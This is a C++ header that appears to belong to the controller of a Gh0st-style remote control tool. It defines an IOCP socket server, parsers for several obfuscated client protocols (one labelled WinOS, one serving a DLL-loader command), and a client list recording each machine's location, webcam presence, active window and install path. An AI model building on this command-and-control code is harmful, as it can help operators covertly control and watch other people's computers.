540 lines
15 KiB
C++
540 lines
15 KiB
C++
#pragma once
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#include "StdAfx.h"
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#include <WinSock2.h>
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#pragma comment(lib,"ws2_32.lib")
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#include "CpuUseage.h"
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#include "Buffer.h"
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#define XXH_INLINE_ALL
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#include "xxhash.h"
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#if USING_CTX
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#include "zstd/zstd.h"
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#endif
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#include <Mstcpip.h>
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#include "common/header.h"
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#include "common/encrypt.h"
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#define PACKET_LENGTH 0x2000
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#define NC_CLIENT_CONNECT 0x0001
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#define NC_RECEIVE 0x0004
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#define NC_RECEIVE_COMPLETE 0x0005 // 完整接收
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std::string GetPeerName(SOCKET sock);
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std::string GetRemoteIP(SOCKET sock);
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enum
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{
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ONLINELIST_IP = 0, // IP的列顺序
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ONLINELIST_ADDR, // 地址
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ONLINELIST_LOCATION, // 地理位置
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ONLINELIST_COMPUTER_NAME, // 计算机名/备注
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ONLINELIST_OS, // 操作系统
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ONLINELIST_CPU, // CPU
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ONLINELIST_VIDEO, // 摄像头(有无)
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ONLINELIST_PING, // PING(对方的网速)
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ONLINELIST_VERSION, // 版本信息
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ONLINELIST_INSTALLTIME, // 安装时间
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ONLINELIST_LOGINTIME, // 活动窗口
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ONLINELIST_CLIENTTYPE, // 客户端类型
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ONLINELIST_PATH, // 文件路径
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ONLINELIST_MAX,
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};
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enum {
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PARSER_WINOS = -2,
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PARSER_FAILED = -1, // 解析失败
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PARSER_NEEDMORE = 0, // 需要更多数据
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};
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typedef struct PR {
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int Result;
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bool IsFailed() const {
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return PARSER_FAILED == Result;
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}
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bool IsNeedMore() const {
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return PARSER_NEEDMORE == Result;
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}
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bool IsWinOSLogin() const {
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return PARSER_WINOS == Result;
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}
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}PR;
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enum {
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COMPRESS_UNKNOWN = -2, // 未知压缩算法
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COMPRESS_ZLIB = -1, // 以前版本使用的压缩方法
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COMPRESS_ZSTD = 0, // 当前使用的压缩方法
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COMPRESS_NONE = 1, // 没有压缩
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};
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struct CONTEXT_OBJECT;
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// Header parser: parse the data to make sure it's from a supported client.
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class HeaderParser {
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friend struct CONTEXT_OBJECT;
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protected:
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HeaderParser() {
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memset(this, 0, sizeof(HeaderParser));
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}
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virtual ~HeaderParser() {
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Reset();
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}
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PR Parse(CBuffer& buf, int &compressMethod) {
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const int MinimumCount = MIN_COMLEN;
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if (buf.GetBufferLength() < MinimumCount) {
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return PR{ PARSER_NEEDMORE };
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}
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char szPacketFlag[32] = { 0 };
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buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
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HeaderEncType encTyp = HeaderEncUnknown;
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FlagType flagType = CheckHead(szPacketFlag, encTyp);
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if (flagType == FLAG_UNKNOWN) {
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// 数据长度 + 通信密码 [4字节启动时间+4个0字节+命令标识+系统位数标识]
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const BYTE* ptr = (BYTE*)buf.GetBuffer(0), *p = ptr+4;
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int length = *((int*)ptr);
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int excepted = buf.GetBufferLength();
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if (length == excepted && length == 16 && p[4] == 0 && p[5] == 0 &&
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p[6] == 0&& p[7] == 0 && p[8] == 202 && (p[9] == 0 || p[9] == 1)) {
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m_nFlagType = FLAG_WINOS;
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compressMethod = COMPRESS_NONE;
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memcpy(m_szPacketFlag, p, 10); // 通信密码
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m_nCompareLen = 0;
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m_nFlagLen = 0;
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m_nHeaderLen = 14;
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m_bParsed = TRUE;
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m_Encoder = new Encoder();
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m_Encoder2 = new WinOsEncoder();
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return PR{ PARSER_WINOS };
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}
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return PR{ PARSER_FAILED };
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}
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if (m_bParsed) { // Check if the header has been parsed.
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return memcmp(m_szPacketFlag, szPacketFlag, m_nCompareLen) == 0 ? PR{ m_nFlagLen } : PR{ PARSER_FAILED };
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}
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// More version may be added in the future.
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switch (m_nFlagType = flagType)
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{
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case FLAG_UNKNOWN:
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return PR{ PARSER_FAILED };
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case FLAG_SHINE:
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memcpy(m_szPacketFlag, szPacketFlag, 5);
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m_nCompareLen = 5;
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m_nFlagLen = m_nCompareLen;
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m_nHeaderLen = m_nFlagLen + 8;
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m_bParsed = TRUE;
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m_Encoder = new Encoder();
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m_Encoder2 = new Encoder();
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break;
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case FLAG_FUCK:
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memcpy(m_szPacketFlag, szPacketFlag, 8);
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m_nCompareLen = 8;
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m_nFlagLen = m_nCompareLen + 3;
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m_nHeaderLen = m_nFlagLen + 8;
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m_bParsed = TRUE;
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m_Encoder = new XOREncoder();
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m_Encoder2 = new Encoder();
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break;
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case FLAG_HELLO:
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// This header is only for handling SOCKET_DLLLOADER command
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memcpy(m_szPacketFlag, szPacketFlag, 8);
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m_nCompareLen = 6;
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m_nFlagLen = 8;
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m_nHeaderLen = m_nFlagLen + 8;
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m_bParsed = TRUE;
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compressMethod = COMPRESS_NONE;
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m_Encoder = new Encoder();
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m_Encoder2 = new XOREncoder16();
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break;
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case FLAG_HELL:
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// This version
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memcpy(m_szPacketFlag, szPacketFlag, 8);
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m_nCompareLen = FLAG_COMPLEN;
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m_nFlagLen = FLAG_LENGTH;
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m_nHeaderLen = m_nFlagLen + 8;
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m_bParsed = TRUE;
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m_Encoder = new Encoder();
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m_Encoder2 = new XOREncoder16();
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break;
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default:
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break;
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}
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return PR{ m_nFlagLen };
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}
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BOOL IsEncodeHeader() const {
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return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
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}
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HeaderParser& Reset() {
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SAFE_DELETE(m_Encoder);
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SAFE_DELETE(m_Encoder2);
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memset(this, 0, sizeof(HeaderParser));
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return *this;
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}
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BOOL IsParsed() const {
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return m_bParsed;
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}
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int GetFlagLen() const {
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return m_nFlagLen;
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}
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int GetHeaderLen() const {
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return m_nHeaderLen;
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}
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const char* GetFlag() const {
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return m_szPacketFlag;
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}
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FlagType GetFlagType() const {
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return m_nFlagType;
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}
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Encoder* GetEncoder() const {
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return m_Encoder;
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}
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Encoder* GetEncoder2() const {
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return m_Encoder2;
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}
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private:
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BOOL m_bParsed; // 数据包是否可以解析
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int m_nHeaderLen; // 数据包的头长度
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int m_nCompareLen; // 比对字节数
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int m_nFlagLen; // 标识长度
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FlagType m_nFlagType; // 标识类型
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char m_szPacketFlag[32]; // 对比信息
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Encoder* m_Encoder; // 编码器
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Encoder* m_Encoder2; // 编码器2
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};
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enum IOType
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{
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IOInitialize,
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IORead,
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IOWrite,
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IOIdle
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};
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typedef struct CONTEXT_OBJECT
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{
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CString sClientInfo[ONLINELIST_MAX];
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CString additonalInfo[RES_MAX];
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SOCKET sClientSocket;
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WSABUF wsaInBuf;
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WSABUF wsaOutBuffer;
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char szBuffer[PACKET_LENGTH];
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CBuffer InCompressedBuffer; // 接收到的压缩的数据
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CBuffer InDeCompressedBuffer; // 解压后的数据
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CBuffer OutCompressedBuffer;
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int v1;
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HANDLE hDlg;
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void *olps; // OVERLAPPEDPLUS
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int CompressMethod; // 压缩算法
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HeaderParser Parser; // 解析数据协议
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uint64_t ID; // 唯一标识
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BOOL m_bProxyConnected; // 代理是否连接
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BOOL bLogin; // 是否 login
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std::string PeerName; // 对端IP
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VOID InitMember(SOCKET s)
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{
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memset(szBuffer, 0, sizeof(char) * PACKET_LENGTH);
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v1 = 0;
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hDlg = NULL;
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sClientSocket = s;
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PeerName = ::GetPeerName(sClientSocket);
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memset(&wsaInBuf, 0, sizeof(WSABUF));
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memset(&wsaOutBuffer, 0, sizeof(WSABUF));
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olps = NULL;
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for (int i = 0; i < ONLINELIST_MAX; i++) {
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sClientInfo[i].Empty();
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}
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for (int i = 0; i < RES_MAX; i++) {
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additonalInfo[i].Empty();
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}
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CompressMethod = COMPRESS_ZSTD;
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Parser.Reset();
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bLogin = FALSE;
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m_bProxyConnected = FALSE;
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}
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VOID SetClientInfo(const CString(&s)[ONLINELIST_MAX], const std::vector<std::string>& a = {}) {
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for (int i = 0; i < ONLINELIST_MAX; i++)
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{
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sClientInfo[i] = s[i];
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}
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for (int i = 0; i < a.size(); i++) {
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additonalInfo[i] = a[i].c_str();
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}
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}
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PBYTE GetBuffer(int offset) {
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return InDeCompressedBuffer.GetBuffer(offset);
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}
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ULONG GetBufferLength() {
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return InDeCompressedBuffer.GetBufferLength();
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}
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std::string GetPeerName() const {
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return PeerName;
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}
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CString GetClientData(int index) const{
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return sClientInfo[index];
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}
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void GetAdditionalData(CString(&s)[RES_MAX]) const {
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for (int i = 0; i < RES_MAX; i++)
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{
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s[i] = additonalInfo[i];
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}
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}
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void CancelIO() {
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SAFE_CANCELIO(sClientSocket);
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}
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BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) {
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return InDeCompressedBuffer.CopyBuffer(pDst, nLen, ulPos);
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}
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BYTE GetBYTE(int offset) {
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return InDeCompressedBuffer.GetBYTE(offset);
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}
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// Write compressed buffer.
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void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
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if (Parser.IsParsed()) {
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ULONG totalLen = dataLen + Parser.GetHeaderLen();
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BYTE szPacketFlag[32] = {};
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const int flagLen = Parser.GetFlagLen();
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memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
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if (Parser.IsEncodeHeader())
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encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
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OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
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OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
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if (Parser.GetFlagType() == FLAG_WINOS) {
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memcpy(szPacketFlag, Parser.GetFlag(), 10);
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OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
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}else {
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OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
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InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
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}
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Encode2(data, dataLen, szPacketFlag);
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OutCompressedBuffer.WriteBuffer(data, dataLen);
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}
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}
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// Read compressed buffer.
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PBYTE ReadBuffer(ULONG &dataLen, ULONG &originLen) {
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if (Parser.IsParsed()) {
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ULONG totalLen = 0;
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BYTE szPacketFlag[32] = {};
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InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, Parser.GetFlagLen());
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InCompressedBuffer.ReadBuffer((PBYTE)&totalLen, sizeof(ULONG));
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if (Parser.GetFlagType() == FLAG_WINOS) {
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InCompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, 10);
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} else {
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InCompressedBuffer.ReadBuffer((PBYTE)&originLen, sizeof(ULONG));
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}
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dataLen = totalLen - Parser.GetHeaderLen();
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PBYTE CompressedBuffer = new BYTE[dataLen];
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InCompressedBuffer.ReadBuffer(CompressedBuffer, dataLen);
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Decode2(CompressedBuffer, dataLen, szPacketFlag);
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return CompressedBuffer;
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}
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return nullptr;
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}
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// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
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PR Parse(CBuffer& buf) {
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return Parser.Parse(buf, CompressMethod);
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}
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// Encode data before compress.
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void Encode(PBYTE data, int len) const {
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Parser.GetEncoder()->Encode((unsigned char*)data, len);
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}
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// Decode data after uncompress.
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void Decode(PBYTE data, int len) const {
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Parser.GetEncoder()->Decode((unsigned char*)data, len);
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}
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// Encode data after compress.
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void Encode2(PBYTE data, int len, PBYTE param) const {
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Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
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}
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// Decode data before uncompress.
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void Decode2(PBYTE data, int len, PBYTE param) const {
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Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
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}
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std::string RemoteAddr() const {
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sockaddr_in ClientAddr = {};
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int ulClientAddrLen = sizeof(sockaddr_in);
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int s = getpeername(sClientSocket, (SOCKADDR*)&ClientAddr, &ulClientAddrLen);
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return s != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "";
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}
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static uint64_t CalculateID(const CString(&data)[ONLINELIST_MAX]) {
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int idx[] = { ONLINELIST_IP, ONLINELIST_COMPUTER_NAME, ONLINELIST_OS, ONLINELIST_CPU, ONLINELIST_PATH, };
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CString s;
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for (int i = 0; i < 5; i++) {
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s += data[idx[i]] + "|";
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}
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s.Delete(s.GetLength() - 1);
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return XXH64(s.GetString(), s.GetLength(), 0);
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}
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uint64_t GetID() const { return ID; }
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void SetID(uint64_t id) { ID = id; }
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}CONTEXT_OBJECT,*PCONTEXT_OBJECT;
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typedef CList<PCONTEXT_OBJECT> ContextObjectList;
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class IOCPServer
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{
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public:
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SOCKET m_sListenSocket;
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HANDLE m_hCompletionPort;
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UINT m_ulMaxConnections; // 最大连接数
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HANDLE m_hListenEvent;
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HANDLE m_hListenThread;
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BOOL m_bTimeToKill;
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HANDLE m_hKillEvent;
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ULONG m_ulThreadPoolMin;
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ULONG m_ulThreadPoolMax;
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ULONG m_ulCPULowThreadsHold;
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ULONG m_ulCPUHighThreadsHold;
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ULONG m_ulCurrentThread;
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ULONG m_ulBusyThread;
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#if USING_CTX
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ZSTD_CCtx* m_Cctx; // 压缩上下文
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ZSTD_DCtx* m_Dctx; // 解压上下文
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#endif
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CCpuUsage m_cpu;
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ULONG m_ulKeepLiveTime;
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typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject);
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typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject);
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UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort);
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static DWORD WINAPI ListenThreadProc(LPVOID lParam);
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BOOL InitializeIOCP(VOID);
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static DWORD WINAPI WorkThreadProc(LPVOID lParam);
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ULONG m_ulWorkThreadCount;
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VOID OnAccept();
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CRITICAL_SECTION m_cs;
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/************************************************************************/
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//上下背景文对象
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ContextObjectList m_ContextConnectionList;
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ContextObjectList m_ContextFreePoolList;
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PCONTEXT_OBJECT AllocateContext(SOCKET s);
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VOID RemoveStaleContext(CONTEXT_OBJECT* ContextObject);
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VOID MoveContextToFreePoolList(CONTEXT_OBJECT* ContextObject);
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VOID PostRecv(CONTEXT_OBJECT* ContextObject);
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int AddWorkThread(int n) {
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EnterCriticalSection(&m_cs);
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m_ulWorkThreadCount += n;
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int ret = m_ulWorkThreadCount;
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LeaveCriticalSection(&m_cs);
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return ret;
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}
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/************************************************************************/
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//请求得到完成
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BOOL HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
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BOOL OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
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BOOL OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans);
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VOID OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer , size_t ulOriginalLength);
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VOID Send(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
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OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
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}
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VOID Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
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OnClientPreSending(ContextObject, szBuffer, ulOriginalLength);
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}
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BOOL OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompressedLength);
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void UpdateMaxConnection(int maxConn);
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IOCPServer(void);
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~IOCPServer(void);
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void Destroy();
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void Disconnect(CONTEXT_OBJECT *ctx){}
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pfnNotifyProc m_NotifyProc;
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pfnOfflineProc m_OfflineProc;
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};
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typedef IOCPServer ISocketBase;
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#define TRACK_OVERLAPPEDPLUS 0
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class OVERLAPPEDPLUS
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{
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public:
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OVERLAPPED m_ol;
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IOType m_ioType;
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OVERLAPPEDPLUS(IOType ioType)
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{
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#if TRACK_OVERLAPPEDPLUS
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char szLog[100];
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sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
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Mprintf(szLog);
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#endif
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ZeroMemory(this, sizeof(OVERLAPPEDPLUS));
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m_ioType = ioType;
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}
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~OVERLAPPEDPLUS()
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{
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#if TRACK_OVERLAPPEDPLUS
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char szLog[100];
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sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId());
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Mprintf(szLog);
|
|
#endif
|
|
}
|
|
};
|
|
|
|
typedef IOCPServer CIOCPServer;
|
|
|
|
typedef CONTEXT_OBJECT ClientContext;
|
|
|
|
#define m_Socket sClientSocket
|
|
#define m_DeCompressionBuffer InDeCompressedBuffer
|
|
|
|
// 所有动态创建的对话框的基类
|
|
class CDialogBase : public CDialog {
|
|
public:
|
|
CONTEXT_OBJECT* m_ContextObject;
|
|
IOCPServer* m_iocpServer;
|
|
CString m_IPAddress;
|
|
bool m_bIsClosed;
|
|
HICON m_hIcon;
|
|
CDialogBase(UINT nIDTemplate, CWnd* pParent, IOCPServer* pIOCPServer, CONTEXT_OBJECT* pContext, int nIcon) :
|
|
m_bIsClosed(false),
|
|
m_ContextObject(pContext),
|
|
m_iocpServer(pIOCPServer),
|
|
CDialog(nIDTemplate, pParent) {
|
|
|
|
sockaddr_in sockAddr;
|
|
memset(&sockAddr, 0, sizeof(sockAddr));
|
|
int nSockAddrLen = sizeof(sockaddr_in);
|
|
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
|
|
|
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
|
m_hIcon = nIcon > 0 ? LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(nIcon)) : NULL;
|
|
}
|
|
virtual ~CDialogBase(){}
|
|
|
|
public:
|
|
virtual void OnReceiveComplete(void) = 0;
|
|
void OnClose() {
|
|
m_bIsClosed = TRUE;
|
|
if(m_hIcon) DestroyIcon(m_hIcon);
|
|
m_hIcon = NULL;
|
|
CDialog::OnClose();
|
|
|
|
if (GetSafeHwnd())
|
|
DestroyWindow();
|
|
}
|
|
virtual void PostNcDestroy() override
|
|
{
|
|
delete this;
|
|
}
|
|
void CancelIO(){
|
|
m_bIsClosed = TRUE;
|
|
|
|
m_ContextObject->CancelIO();
|
|
}
|
|
};
|
|
|
|
typedef CDialogBase DialogBase;
|